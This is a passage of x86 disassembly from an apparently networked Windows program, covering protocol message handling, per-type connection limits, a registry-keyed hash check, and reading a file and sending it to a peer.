		mov	edi, esp
		mov	ecx, 8Bh
		lea	esi, [ebp+var_48C]
		lea	edx, [ebx+2Ch]
		rep movsd
		call	sub_414913
		movzx	eax, byte ptr [ebx+7B4h]
		push	eax
		push	offset aD	; "%d\r\n"
		mov	edi, edx
		mov	dword ptr [ebx+5A4h], 5
		call	sub_414CA6
		pop	ecx
		pop	ecx
		jmp	loc_40A275
; ---------------------------------------------------------------------------

loc_409E7F:				; CODE XREF: sub_409BDA+157j
		cmp	eax, 5
		jnz	loc_40A275
		lea	esi, [ebx+8]
		add	ebx, 2Ch
		push	ebx
		mov	edi, esi
		call	sub_414EDD
		test	eax, eax
		jle	loc_40A275
		push	offset asc_42FF68 ; "\r\n"
		push	2
		pop	ebx
		call	sub_414F40
		test	eax, eax
		jz	loc_40A275
		push	dword ptr [esi]
		call	sub_41D59C
		cmp	eax, 1
		pop	ecx
		jnz	short loc_409F01
		mov	ecx, [ebp+arg_0]
		movzx	eax, byte ptr [ecx+7B4h]
		and	dword ptr [ecx+5A0h], 0
		dec	eax
		jz	short loc_409EEA
		dec	eax
		jz	short loc_409EE2
		dec	eax
		jnz	short loc_409EF0
		inc	ds:dword_435F78
		jmp	short loc_409EF0
; ---------------------------------------------------------------------------

loc_409EE2:				; CODE XREF: sub_409BDA+2FBj
		inc	ds:dword_435F70
		jmp	short loc_409EF0
; ---------------------------------------------------------------------------

loc_409EEA:				; CODE XREF: sub_409BDA+2F8j
		inc	ds:dword_435F74

loc_409EF0:				; CODE XREF: sub_409BDA+2FEj
					; sub_409BDA+306j ...
		mov	eax, [ecx]
		mov	dword ptr [ecx+5A4h], 6
		jmp	loc_40A25C
; ---------------------------------------------------------------------------

loc_409F01:				; CODE XREF: sub_409BDA+2E4j
		push	dword ptr [esi]
		call	sub_41D59C
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_0]
		jmp	loc_409C3C
; ---------------------------------------------------------------------------

loc_409F12:				; CODE XREF: sub_409BDA+83j
		cmp	eax, 1
		jnz	loc_40A275
		test	[ebp+arg_4], al
		jz	loc_40A275
		lea	esi, [ebx+7C8h]
		call	sub_416B0E
		lea	eax, [ebx+2Ch]
		lea	esi, [ebx+8]
		mov	[ebp+arg_2C], eax
		mov	[ebp+var_4], esi
		push	eax
		jmp	loc_409FDE
; ---------------------------------------------------------------------------

loc_409F41:				; CODE XREF: sub_409BDA+40Dj
		mov	eax, [ebp+arg_2C]
		call	sub_414937
		test	eax, eax
		jz	loc_409FF2
		cmp	dword ptr [ebx+5A4h], 4
		jnz	short loc_409FD8
		mov	esi, [ebp+var_4]
		push	offset asc_42FF68 ; "\r\n"
		push	2
		pop	ebx
		call	sub_414F40
		test	eax, eax
		jz	short loc_409FD5
		mov	eax, esi
		push	dword ptr [eax]
		call	sub_41D59C
		test	al, al
		mov	esi, [ebp+arg_0]
		pop	ecx
		mov	[esi+7B4h], al
		jbe	short loc_409FCC
		cmp	al, 3
		ja	short loc_409FCC
		movzx	eax, al
		dec	eax
		jz	short loc_409FA7
		dec	eax
		jz	short loc_409F9E
		dec	eax
		jnz	short loc_409FD5
		mov	eax, offset dword_435F78
		push	0Fh
		jmp	short loc_409FAE
; ---------------------------------------------------------------------------

loc_409F9E:				; CODE XREF: sub_409BDA+3B6j
		mov	eax, offset dword_435F70
		push	32h
		jmp	short loc_409FAE
; ---------------------------------------------------------------------------

loc_409FA7:				; CODE XREF: sub_409BDA+3B3j
		mov	eax, offset dword_435F74
		push	64h

loc_409FAE:				; CODE XREF: sub_409BDA+3C2j
					; sub_409BDA+3CBj
		mov	edi, [ebp+arg_2C]
		pop	ecx
		cmp	[eax], ecx
		jb	loc_40A237
		push	4
		push	offset aD	; "%d\r\n"
		call	sub_414CA6
		pop	ecx
		pop	ecx
		push	4
		jmp	short loc_409FCE
; ---------------------------------------------------------------------------

loc_409FCC:				; CODE XREF: sub_409BDA+3A9j
					; sub_409BDA+3ADj
		push	6

loc_409FCE:				; CODE XREF: sub_409BDA+3F0j
		mov	eax, esi
		call	sub_409B12

loc_409FD5:				; CODE XREF: sub_409BDA+392j
					; sub_409BDA+3B9j
		mov	ebx, [ebp+arg_0]

loc_409FD8:				; CODE XREF: sub_409BDA+37Ej
					; sub_409BDA+49Fj ...
		push	[ebp+arg_2C]
		mov	esi, [ebp+var_4]

loc_409FDE:				; CODE XREF: sub_409BDA+362j
		mov	edi, esi
		call	sub_414EDD
		test	eax, eax
		jg	loc_409F41
		jmp	loc_40A275
; ---------------------------------------------------------------------------

loc_409FF2:				; CODE XREF: sub_409BDA+371j
		cmp	dword ptr [ebx+5A4h], 1
		jnz	short loc_40A072
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	edi, eax
		call	sub_415008
		push	dword ptr [esi]
		lea	ecx, [ebx+7ACh]
		mov	esi, eax
		mov	eax, ecx
		call	sub_40D6E6
		test	edi, edi
		jz	short loc_40A072
		lea	ecx, [ebx+7B0h]
		movzx	ax, byte ptr [ecx+1]
		movzx	cx, byte ptr [ecx]
		shl	eax, 8
		add	eax, ecx
		cmp	ax, 1000h
		ja	short loc_40A069
		cmp	ax, 200h
		jb	short loc_40A069
		movzx	eax, ax
		add	eax, 7
		push	8
		cdq
		pop	ecx
		idiv	ecx
		mov	edx, eax
		mov	eax, [ebp+var_4]
		call	sub_414FF1
		and	dword ptr [ebx+5A8h], 0
		mov	dword ptr [ebx+5A4h], 2
		jmp	short loc_40A07F
; ---------------------------------------------------------------------------

loc_40A069:				; CODE XREF: sub_409BDA+45Ej
					; sub_409BDA+464j
		push	8
		mov	eax, ebx
		call	sub_409B12

loc_40A072:				; CODE XREF: sub_409BDA+41Fj
					; sub_409BDA+444j
		cmp	dword ptr [ebx+5A4h], 2
		jnz	loc_409FD8

loc_40A07F:				; CODE XREF: sub_409BDA+48Dj
		mov	esi, [ebp+var_4]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		mov	edi, eax
		call	sub_415008
		push	dword ptr [esi]
		lea	ecx, [ebx+5A8h]
		mov	esi, eax
		mov	eax, ecx
		call	sub_40D6E6
		test	edi, edi
		jz	loc_409FD8
		xor	esi, esi

loc_40A0AD:				; CODE XREF: sub_409BDA+4E9j
		push	0FFh
		push	0
		call	sub_40D864
		mov	[ebp+esi+var_60], al
		inc	esi
		cmp	esi, 20h
		pop	ecx
		pop	ecx
		jb	short loc_40A0AD
		lea	eax, [ebx+7B0h]
		movzx	cx, byte ptr [eax+1]
		movzx	ax, byte ptr [eax]
		push	offset aTest4	; "Test4"
		shl	ecx, 8
		add	ecx, eax
		movzx	esi, cx
		call	sub_41C350
		pop	ecx
		mov	ecx, esi
		add	eax, 23h
		shr	ecx, 3
		cmp	eax, ecx
		jbe	short loc_40A101
		push	8

loc_40A0F5:				; CODE XREF: sub_409BDA+602j
		mov	eax, ebx
		call	sub_409B12
		jmp	loc_409FD8
; ---------------------------------------------------------------------------

loc_40A101:				; CODE XREF: sub_409BDA+517j
		lea	eax, [ebx+5ACh]
		push	eax
		lea	eax, [ebp+var_EC0]
		push	eax
		mov	eax, esi
		call	sub_404D91
		mov	esi, eax
		mov	ecx, 101h
		lea	edi, [ebp+var_ABC]
		rep movsd
		lea	esi, [ebp+var_40]
		call	sub_418DCE
		push	[ebp+var_40]
		call	sub_41BAB5
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_40], esi
		mov	edi, eax
		jbe	short loc_40A158

loc_40A141:				; CODE XREF: sub_409BDA+57Cj
		push	0FFh
		push	0
		call	sub_40D864
		mov	[esi+edi], al
		inc	esi
		cmp	esi, [ebp+var_40]
		pop	ecx
		pop	ecx
		jb	short loc_40A141

loc_40A158:				; CODE XREF: sub_409BDA+565j
		push	[ebp+var_40]
		lea	esi, [ebp+var_40]
		push	edi
		call	sub_418DEB
		push	edi
		call	sub_41CA28
		push	20h
		lea	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_25D]
		push	eax
		mov	[ebp+var_260], 20h
		mov	[ebp+var_25F], 0
		mov	[ebp+var_25E], 0
		call	sub_41BC60
		mov	esi, offset aTest4 ; "Test4"
		lea	eax, [ebp+var_23D]
		push	esi
		push	eax
		call	sub_41C930
		add	esp, 20h
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_ABC]
		push	eax
		push	esi
		call	sub_41C350
		pop	ecx
		add	eax, 23h
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_460]
		push	eax
		call	sub_418EFC
		add	esp, 18h
		test	eax, eax
		jz	short loc_40A1E1
		push	3
		jmp	loc_40A0F5
; ---------------------------------------------------------------------------

loc_40A1E1:				; CODE XREF: sub_409BDA+5FEj
		push	[ebp+var_8]
		mov	edi, [ebp+arg_2C]
		lea	eax, [ebp+var_460]
		push	eax
		call	sub_414C2D
		lea	edi, [ebp+var_6B8]
		call	sub_404CB9
		push	20h
		lea	eax, [ebp+var_60]
		push	eax
		mov	esi, edi
		call	sub_404D1E
		mov	edx, [ebp+arg_2C]
		sub	esp, 22Ch
		mov	edi, esp
		mov	ecx, 8Bh
		lea	esi, [ebp+var_6B8]
		rep movsd
		call	sub_414913
		mov	dword ptr [ebx+5A4h], 4
		jmp	loc_409FD8
; ---------------------------------------------------------------------------

loc_40A237:				; CODE XREF: sub_409BDA+3DAj
		inc	dword ptr [eax]
		and	dword ptr [esi+5A0h], 0
		push	1
		push	offset aD	; "%d\r\n"
		call	sub_414CA6
		mov	eax, [esi]
		pop	ecx
		pop	ecx
		mov	dword ptr [esi+5A4h], 6
		mov	ecx, esi

loc_40A25C:				; CODE XREF: sub_409BDA+322j
		call	dword ptr [eax+4]
		jmp	short loc_40A275
; ---------------------------------------------------------------------------

loc_40A261:				; CODE XREF: sub_409BDA+75j
		mov	eax, [ebx]
		sub	esp, 2Ch
		push	0Bh
		pop	ecx
		mov	edi, esp
		lea	esi, [ebp+arg_4]
		rep movsd
		mov	ecx, ebx
		call	dword ptr [eax+8]

loc_40A275:				; CODE XREF: sub_409BDA+67j
					; sub_409BDA+13Dj ...
		xor	eax, eax
		inc	eax
		jmp	short loc_40A2C1
; ---------------------------------------------------------------------------

loc_40A27A:				; CODE XREF: sub_409BDA+13j
					; sub_409BDA+30j
		cmp	dword ptr [ebx+5A4h], 6
		jnz	short loc_40A2A9
		movzx	eax, byte ptr [ebx+7B4h]
		dec	eax
		jz	short loc_40A2A3
		dec	eax
		jz	short loc_40A29B
		dec	eax
		jnz	short loc_40A2A9
		dec	ds:dword_435F78
		jmp	short loc_40A2A9
; ---------------------------------------------------------------------------

loc_40A29B:				; CODE XREF: sub_409BDA+6B4j
		dec	ds:dword_435F70
		jmp	short loc_40A2A9
; ---------------------------------------------------------------------------

loc_40A2A3:				; CODE XREF: sub_409BDA+6B1j
		dec	ds:dword_435F74

loc_40A2A9:				; CODE XREF: sub_409BDA+6A7j
					; sub_409BDA+6B7j ...
		push	1
		lea	eax, [ebx+2Ch]
		call	sub_414D44
		push	dword ptr [ebx+5A0h]
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax]
		xor	eax, eax

loc_40A2C1:				; CODE XREF: sub_409BDA+69Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	30h
sub_409BDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A2C8	proc near		; CODE XREF: .text:0040AD5Dp
					; .text:0040AE00p ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 2
		mov	cl, [eax+7B4h]
		jnz	short loc_40A2ED
		cmp	ds:dword_435F70, 32h
		jnb	short loc_40A350
		inc	ds:dword_435F70
		mov	byte ptr [eax+7B4h], 2
		jmp	short loc_40A329
; ---------------------------------------------------------------------------

loc_40A2ED:				; CODE XREF: sub_40A2C8+Bj
		cmp	[esp+arg_0], 1
		jnz	short loc_40A30C
		cmp	ds:dword_435F74, 64h
		jnb	short loc_40A350
		inc	ds:dword_435F74
		mov	byte ptr [eax+7B4h], 1
		jmp	short loc_40A329
; ---------------------------------------------------------------------------

loc_40A30C:				; CODE XREF: sub_40A2C8+2Aj
		cmp	[esp+arg_0], 3
		jnz	short loc_40A350
		cmp	ds:dword_435F78, 0Fh
		jnb	short loc_40A350
		inc	ds:dword_435F78
		mov	byte ptr [eax+7B4h], 3

loc_40A329:				; CODE XREF: sub_40A2C8+23j
					; sub_40A2C8+42j
		movzx	eax, cl
		dec	eax
		jz	short loc_40A345
		dec	eax
		jz	short loc_40A33D
		dec	eax
		jnz	short loc_40A34B
		dec	ds:dword_435F78
		jmp	short loc_40A34B
; ---------------------------------------------------------------------------

loc_40A33D:				; CODE XREF: sub_40A2C8+68j
		dec	ds:dword_435F70
		jmp	short loc_40A34B
; ---------------------------------------------------------------------------

loc_40A345:				; CODE XREF: sub_40A2C8+65j
		dec	ds:dword_435F74

loc_40A34B:				; CODE XREF: sub_40A2C8+6Bj
					; sub_40A2C8+73j ...
		xor	eax, eax
		inc	eax
		jmp	short locret_40A352
; ---------------------------------------------------------------------------

loc_40A350:				; CODE XREF: sub_40A2C8+14j
					; sub_40A2C8+33j ...
		xor	eax, eax

locret_40A352:				; CODE XREF: sub_40A2C8+86j
		retn	4
sub_40A2C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A355	proc near		; CODE XREF: sub_40C4F9+25p
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, eax
		xor	ebp, ebp
		push	ebp
		mov	ebx, edi
		call	sub_409A0F
		lea	esi, [edi+7D8h]
		mov	dword ptr [edi], offset	off_430524
		call	sub_4099E5
		lea	eax, [edi+9F0h]
		call	sub_417057
		lea	eax, [edi+0B78h]
		mov	[eax], ebp
		mov	[eax+4], ebp
		mov	[eax+8], ebp
		mov	[edi+0A48h], ebp
		mov	[edi+7DCh], ebp
		call	sub_40B72F
		mov	[edi+0B8Ch], ebp
		mov	[edi+0B90h], ebp
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A355	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A3B3	proc near		; CODE XREF: .text:0040BBECp

arg_0		= byte ptr  4

		push	esi
		push	edi
		push	48h
		mov	edi, eax
		pop	ecx
		add	edi, 0A50h
		lea	esi, [esp+8+arg_0]
		rep movsd
		pop	edi
		pop	esi
		retn	120h
sub_40A3B3	endp

; ---------------------------------------------------------------------------
		mov	eax, offset loc_427F12
		call	sub_41E550
		mov	eax, 13B8h
		call	sub_41E090
		test	byte ptr [ebp+8], 1
		push	ebx
		push	esi
		mov	ebx, ecx
		push	edi
		mov	[ebp-10h], ebx
		jz	loc_40B3F7
		mov	edi, ebx
		call	sub_40B72F
		lea	eax, [ebx+2Ch]
		lea	edi, [ebx+8]
		mov	[ebp-14h], eax
		mov	[ebp-1Ch], edi
		push	eax
		jmp	loc_40B3EA
; ---------------------------------------------------------------------------

loc_40A40A:				; CODE XREF: .text:0040A471j
					; .text:0040A4F2j ...
		xor	esi, esi
		cmp	[ebx+20h], esi
		jz	loc_40A746
		cmp	[ebx+0B8Ch], esi
		jz	loc_40B212
		mov	eax, [ebp-1Ch]
		call	sub_41501F
		mov	edi, eax
		mov	eax, [ebx+0B8Ch]
		cmp	eax, 1
		jnz	short loc_40A473
		mov	esi, [ebp-1Ch]
		mov	ecx, esi
		call	sub_415008
		push	dword ptr [esi]
		lea	ecx, [ebx+0B98h]
		mov	esi, eax
		mov	eax, ecx
		call	sub_40D6E6
		test	edi, edi
		jz	loc_40B3E4
		mov	edx, [ebx+0DA0h]
		mov	eax, [ebp-1Ch]
		mov	dword ptr [ebx+0B8Ch], 2
		call	sub_414FF1
		jmp	short loc_40A40A
; ---------------------------------------------------------------------------

loc_40A473:				; CODE XREF: .text:0040A434j
		cmp	eax, 2
		jnz	loc_40B3E4
		cmp	[ebx+0B94h], esi
		jnz	short loc_40A496
		push	dword ptr [ebx+0DA0h]
		call	sub_41BAB5
		pop	ecx
		mov	[ebx+0B90h], eax

loc_40A496:				; CODE XREF: .text:0040A482j
		mov	ecx, [ebp-1Ch]
		call	sub_415008
		push	eax
		mov	eax, [ebp-1Ch]
		push	dword ptr [eax]
		mov	eax, [ebx+0B94h]
		add	eax, [ebx+0B90h]
		push	eax
		call	sub_41BC60
		mov	ecx, [ebp-1Ch]
		add	esp, 0Ch
		call	sub_415008
		add	[ebx+0B94h], eax
		cmp	edi, esi
		jz	loc_40B3E4
		mov	esi, ds:dword_43816C
		push	esi
		push	ds:dword_438168
		lea	edx, [ebx+0D9Ch]
		lea	eax, [ebp-64h]
		mov	[ebp-18h], edx
		call	sub_40C4B5
		cmp	[ebp-64h], esi
		pop	ecx
		pop	ecx
		jnz	loc_40A40A
		cmp	dword ptr [ebx+0DC8h], 0
		jz	loc_40A58B
		push	2
		pop	eax
		cmp	[ebx+0DC4h], eax
		jbe	short loc_40A516
		mov	[ebx+0DC4h], eax

loc_40A516:				; CODE XREF: .text:0040A50Ej
		push	100h
		lea	eax, [ebp-7A4h]
		push	eax
		push	dword ptr [ebx+0B90h]
		lea	edi, [ebp+32h]
		call	sub_409454
		add	esp, 0Ch
		lea	eax, [ebp-7A4h]
		push	eax
		mov	esi, offset dword_438174
		call	sub_407331
		test	eax, eax
		jnz	loc_40A6FE
		push	dword ptr [ebx+0B90h]
		call	sub_408F96
		cmp	byte ptr [ebx+7B4h], 3
		pop	ecx
		jnz	loc_40A6FE
		push	dword ptr [ebx+0DC8h]
		mov	eax, [ebp-18h]
		push	dword ptr [eax]
		lea	eax, [ebx+0DA4h]
		push	0
		push	dword ptr [ebx+0B90h]
		push	dword ptr [ebx+0DC4h]
		push	eax
		push	ebx
		jmp	loc_40A6F0
; ---------------------------------------------------------------------------

loc_40A58B:				; CODE XREF: .text:0040A4FFj
		lea	eax, [ebx+0B9Ch]
		push	200h
		push	eax
		mov	[ebp+30h], eax
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-0AA4h]
		push	eax
		mov	eax, offset dword_436E90
		call	sub_418FBD
		add	esp, 10h
		test	eax, eax
		jnz	loc_40A6FE
		cmp	dword ptr [ebp-6Ch], 10h
		jnz	loc_40A6FE
		lea	eax, [ebp-124h]
		call	sub_417057
		push	dword ptr [ebx+0B90h]
		mov	ebx, [ebx+0DA0h]
		call	sub_41707B
		mov	eax, [ebp-18h]
		push	dword ptr [eax]
		lea	eax, [ebp-0CCh]
		push	offset asc_4305E8 ; "%X"
		push	eax
		call	sub_41CA2D
		lea	eax, [ebp-0CCh]
		push	eax
		call	sub_41C350
		lea	ecx, [ebp-0CCh]
		mov	ebx, eax
		push	ecx
		lea	eax, [ebp-124h]
		call	sub_41707B
		mov	esi, [ebp-10h]
		add	esi, 0DA4h
		push	esi
		call	sub_41C350
		mov	ebx, eax
		push	esi
		lea	eax, [ebp-124h]
		call	sub_41707B
		lea	eax, [ebp-9Ch]
		push	eax
		lea	edi, [ebp-124h]
		call	sub_417107
		push	10h
		lea	eax, [ebp-0AA4h]
		push	eax
		lea	eax, [ebp-9Ch]
		push	eax
		call	sub_41D290
		add	esp, 30h
		test	eax, eax
		jnz	loc_40A6FB
		mov	edi, [ebp-10h]
		mov	al, [edi+7B4h]
		cmp	al, 3
		jz	short loc_40A68A
		cmp	al, 1
		jnz	short loc_40A67F
		cmp	dword ptr [edi+0DCCh], 0
		jnz	short loc_40A68A

loc_40A67F:				; CODE XREF: .text:0040A674j
		cmp	al, 2
		jnz	short loc_40A6C7
		push	offset dword_4304C0
		jmp	short loc_40A68F
; ---------------------------------------------------------------------------

loc_40A68A:				; CODE XREF: .text:0040A670j
					; .text:0040A67Dj
		push	offset dword_4304BC

loc_40A68F:				; CODE XREF: .text:0040A688j
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A6BC
		push	offset dword_4304B8
		push	esi
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A6BC
		call	sub_404869
		mov	ecx, esi
		call	loc_416FDE
		test	eax, eax
		jz	short loc_40A6C7

loc_40A6BC:				; CODE XREF: .text:0040A699j
					; .text:0040A6AAj
		push	dword ptr [edi+0B90h]
		call	sub_40C201

loc_40A6C7:				; CODE XREF: .text:0040A681j
					; .text:0040A6BAj
		mov	al, [edi+7B4h]
		cmp	al, 3
		jz	short loc_40A6D8
		cmp	al, 1
		jnz	short loc_40A6FB
		mov	edi, [ebp-10h]

loc_40A6D8:				; CODE XREF: .text:0040A6CFj
		mov	eax, [ebp-18h]
		push	0
		push	dword ptr [eax]
		push	dword ptr [ebp+30h]
		push	dword ptr [edi+0B90h]
		push	dword ptr [edi+0DC4h]
		push	esi
		push	edi

loc_40A6F0:				; CODE XREF: .text:0040A586j
		mov	ebx, ds:dword_43810C
		call	sub_40BF38

loc_40A6FB:				; CODE XREF: .text:0040A65Fj
					; .text:0040A6D3j
		mov	ebx, [ebp-10h]

loc_40A6FE:				; CODE XREF: .text:0040A546j
					; .text:0040A55Fj ...
		mov	esi, [ebp-18h]
		mov	eax, offset dword_438164
		call	sub_413F72
		mov	eax, ds:dword_438168
		test	eax, eax
		jz	loc_40A40A
		mov	ecx, ds:dword_43816C
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, 0C8h
		jbe	loc_40A40A
		lea	ecx, [eax+4]
		push	ecx
		push	eax
		lea	ebx, [ebp+30h]
		mov	esi, offset dword_438164
		call	sub_40C2C2
		jmp	loc_40B20A
; ---------------------------------------------------------------------------

loc_40A746:				; CODE XREF: .text:0040A40Fj
					; .text:0040AB8Bj ...
		mov	esi, [ebp-1Ch]
		push	offset asc_42FF68 ; "\r\n"
		push	2
		pop	ebx
		call	sub_414F40
		test	eax, eax
		jz	loc_40B3E1
		push	offset dword_4303D0
		push	7
		mov	edi, esi
		push	dword ptr [edi]
		lea	eax, [ebp-44h]
		call	sub_4147C2
		add	esp, 0Ch
		cmp	eax, 0Bh
		mov	[ebp-18h], eax
		jnz	short loc_40A780
		push	0Ch
		jmp	short loc_40A7D3
; ---------------------------------------------------------------------------

loc_40A780:				; CODE XREF: .text:0040A77Aj
		cmp	eax, 0Ch
		jnz	short loc_40A792
		mov	edi, [ebp-10h]
		call	sub_40B72F
		jmp	loc_40AB81
; ---------------------------------------------------------------------------

loc_40A792:				; CODE XREF: .text:0040A783j
		cmp	eax, 9
		jnz	short loc_40A7F1
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax+7B8h], 0
		jnz	loc_40AB81
		cmp	dword ptr [eax+7DCh], 3
		jnz	loc_40AB81
		cmp	dword ptr [ebp-40h], 0
		jz	loc_40AB81
		push	offset off_4305D4
		push	dword ptr [ebp-40h]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A7E7
		push	0Dh

loc_40A7D3:				; CODE XREF: .text:0040A77Ej
		push	offset aD	; "%d\r\n"

loc_40A7D8:				; CODE XREF: .text:0040A87Fj
		mov	edi, [ebp-14h]
		call	sub_414CA6
		pop	ecx

loc_40A7E1:				; CODE XREF: .text:0040A7EFj
		pop	ecx
		jmp	loc_40AB81
; ---------------------------------------------------------------------------

loc_40A7E7:				; CODE XREF: .text:0040A7CFj
		push	dword ptr [ebp-40h]
		call	sub_408F96
		jmp	short loc_40A7E1
; ---------------------------------------------------------------------------

loc_40A7F1:				; CODE XREF: .text:0040A795j
		cmp	eax, 8
		jnz	loc_40A884
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax+7B8h], 1
		jnz	loc_40AB81
		xor	ebx, ebx
		mov	[ebp+30h], ebx

loc_40A80F:				; CODE XREF: .text:0040A876j
		call	sub_409351
		cmp	eax, 64h
		jbe	short loc_40A81E
		push	64h
		pop	eax
		jmp	short loc_40A823
; ---------------------------------------------------------------------------

loc_40A81E:				; CODE XREF: .text:0040A817j
		call	sub_409351

loc_40A823:				; CODE XREF: .text:0040A81Cj
		cmp	ebx, eax
		jnb	short loc_40A878
		lea	eax, [ebp-0FC4h]
		push	eax
		lea	eax, [ebp+30h]
		call	sub_408E9D
		push	48h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-5A4h]
		rep movsd
		push	dword ptr [ebp-4A4h]
		lea	eax, [ebp-5A4h]
		push	eax
		mov	eax, 100h
		lea	edi, [ebp-8A4h]
		call	sub_4094D4
		mov	eax, edi
		mov	edi, [ebp-14h]
		push	eax
		push	9
		push	offset aDS	; "%d|%s\r\n"
		call	sub_414CA6
		add	esp, 18h
		inc	ebx
		jmp	short loc_40A80F
; ---------------------------------------------------------------------------

loc_40A878:				; CODE XREF: .text:0040A825j
		push	9
		push	offset aDEnd	; "%d|END\r\n"
		jmp	loc_40A7D8
; ---------------------------------------------------------------------------

loc_40A884:				; CODE XREF: .text:0040A7F4j
		cmp	eax, 0Dh
		jnz	short loc_40A8BF
		mov	eax, [ebp-10h]
		mov	al, [eax+7B4h]
		cmp	al, 2
		jnz	short loc_40A89F

loc_40A896:				; DATA XREF: .text:00434A5Co
					; .text:00434AA0o ...
		cmp	ds:dword_435F70, 1Eh
		ja	short loc_40A8B0

loc_40A89F:				; CODE XREF: .text:0040A894j
		cmp	al, 3
		jnz	loc_40A92A
		cmp	ds:dword_435F78, 0Ah
		jbe	short loc_40A92A

loc_40A8B0:				; CODE XREF: .text:0040A89Dj
		mov	eax, [ebp-14h]
		push	2
		call	sub_414DBA
		jmp	loc_40AB81
; ---------------------------------------------------------------------------

loc_40A8BF:				; CODE XREF: .text:0040A887j
		cmp	eax, 0Eh
		jnz	loc_40A94C
		cmp	dword ptr [ebp-40h], 0
		jz	loc_40AB81
		push	dword ptr [ebp-40h]
		call	sub_41D59C
		mov	esi, offset a21	; "21"
		push	esi
		mov	edi, eax
		call	sub_41D59C
		cmp	edi, eax
		pop	ecx
		pop	ecx
		jle	short loc_40A910
		mov	edi, [ebp-14h]
		push	0Fh
		push	offset aD	; "%d\r\n"
		call	sub_414CA6
		mov	eax, [ebp-10h]
		pop	ecx
		pop	ecx
		mov	dword ptr [eax+7DCh], 4
		jmp	loc_40AB81
; ---------------------------------------------------------------------------

loc_40A910:				; CODE XREF: .text:0040A8EBj
		push	dword ptr [ebp-40h]
		call	sub_41D59C
		push	esi
		mov	edi, eax
		call	sub_41D59C
		cmp	edi, eax
		pop	ecx
		pop	ecx
		jge	loc_40AB81

loc_40A92A:				; CODE XREF: .text:0040A8A1j
					; .text:0040A8AEj
		push	offset a21	; "21"
		call	sub_41D59C
		mov	edi, [ebp-14h]
		push	eax
		push	0Eh
		push	offset aDD_0	; "%d|%d\r\n"
		call	sub_414CA6
		add	esp, 10h
		jmp	loc_40AB81
; ---------------------------------------------------------------------------

loc_40A94C:				; CODE XREF: .text:0040A8C2j
		cmp	eax, 0Fh
		jnz	loc_40AB17
		push	offset aSoftwareGnu ; "SOFTWARE\\GNU"
		push	80000001h
		lea	esi, [ebp-54h]
		call	sub_40D8DC
		xor	edi, edi
		lea	eax, [ebp-17Ch]
		mov	[ebp-4], edi
		call	sub_417057
		or	dword ptr [ebp+30h], 0FFFFFFFFh
		push	80h
		push	4
		push	1
		push	80000000h
		mov	byte ptr [ebp-4], 1
		call	sub_404B0D
		push	eax
		lea	eax, [ebp+30h]
		call	sub_405CAD
		mov	esi, ds:dword_4291BC
		push	edi
		push	dword ptr [ebp+30h]
		call	esi	; GetFileSize
		test	eax, eax
		jbe	short loc_40A9E9

loc_40A9AB:				; CODE XREF: .text:0040A9E7j
		push	0
		lea	eax, [ebp-58h]
		push	eax
		push	400h
		lea	eax, [ebp-13C4h]
		push	eax
		push	dword ptr [ebp+30h]
		call	ds:dword_429108	; ReadFile
		mov	ebx, [ebp-58h]
		lea	eax, [ebp-13C4h]
		push	eax
		lea	eax, [ebp-17Ch]
		call	sub_41707B
		pop	ecx
		push	0
		push	dword ptr [ebp+30h]
		add	edi, ebx
		call	esi	; GetFileSize
		cmp	edi, eax
		jb	short loc_40A9AB

loc_40A9E9:				; CODE XREF: .text:0040A9A9j
		lea	eax, [ebp-0ACh]
		push	eax
		lea	edi, [ebp-17Ch]
		call	sub_417107
		pop	ecx
		push	10h
		pop	edi
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		push	0
		push	0
		push	offset aUphs	; "uphs"
		push	dword ptr [ebp-54h]
		mov	[ebp-60h], edi
		call	ds:dword_429004	; RegQueryValueExA
		push	offset aUpsn	; "upsn"
		lea	eax, [ebp-54h]
		push	eax
		call	sub_40D93E
		test	eax, eax
		jz	loc_40AAF1
		push	edi
		lea	eax, [ebp-8Ch]
		push	eax
		lea	eax, [ebp-0ACh]
		push	eax
		call	sub_41D290
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40AAF1
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+30h]
		push	eax
		call	sub_405DBE
		push	ebx
		push	dword ptr [ebp+30h]
		call	esi	; GetFileSize
		mov	edi, [ebp-14h]
		push	eax
		push	11h
		push	offset aDD_0	; "%d|%d\r\n"
		call	sub_414CA6
		add	esp, 0Ch
		push	ebx
		push	dword ptr [ebp+30h]
		call	esi	; GetFileSize
		test	eax, eax
		jbe	short loc_40AABD

loc_40AA85:				; CODE XREF: .text:0040AABBj
		push	0
		lea	eax, [ebp-48h]
		push	eax
		push	400h
		lea	eax, [ebp-13C4h]
		push	eax
		push	dword ptr [ebp+30h]
		call	ds:dword_429108	; ReadFile
		push	dword ptr [ebp-48h]
		lea	eax, [ebp-13C4h]
		push	eax
		call	sub_414C2D
		add	ebx, [ebp-48h]
		push	0
		push	dword ptr [ebp+30h]
		call	esi	; GetFileSize
		cmp	ebx, eax
		jb	short loc_40AA85

